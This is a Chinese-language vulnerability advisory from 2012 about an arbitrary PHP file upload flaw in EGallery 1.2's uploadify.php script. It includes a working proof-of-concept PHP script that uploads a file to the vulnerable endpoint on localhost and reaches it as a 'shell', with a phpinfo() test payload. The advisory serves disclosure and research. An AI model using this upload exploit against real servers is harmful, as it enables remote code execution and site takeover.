EGallery uploadify.php任意文件上传漏洞


发布日期:2012-07-16
更新日期:2012-07-17

受影响系统:
sourceforge EGallery 1.x
描述:
--------------------------------------------------------------------------------
EGallery是自动的PHP图形库。

EGallery 1.2版本egallery/uploadify.php脚本允许将任意扩展名的文件上传到webroot中的文件夹中,通过上传恶意PHP脚本,该漏洞可被利用执行任意PHP代码。

<*来源:Sammy Forgit
 
  链接:http://secunia.com/advisories/49941/
        http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Sammy Forgit ()提供了如下测试方法:


PostShell.php
<?php

$uploadfile="lo.php";

$ch = curl_init("http://localhost/egallery/egallery/uploadify.php?folder=/egallery/egallery/");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
  
print "$postResult";

?>

Shell Access : http://localhost/egallery/egallery/lo.php

lo.php
<?php
phpinfo();
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

sourceforge
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://jocr.sourceforge.net/index.html

相关内容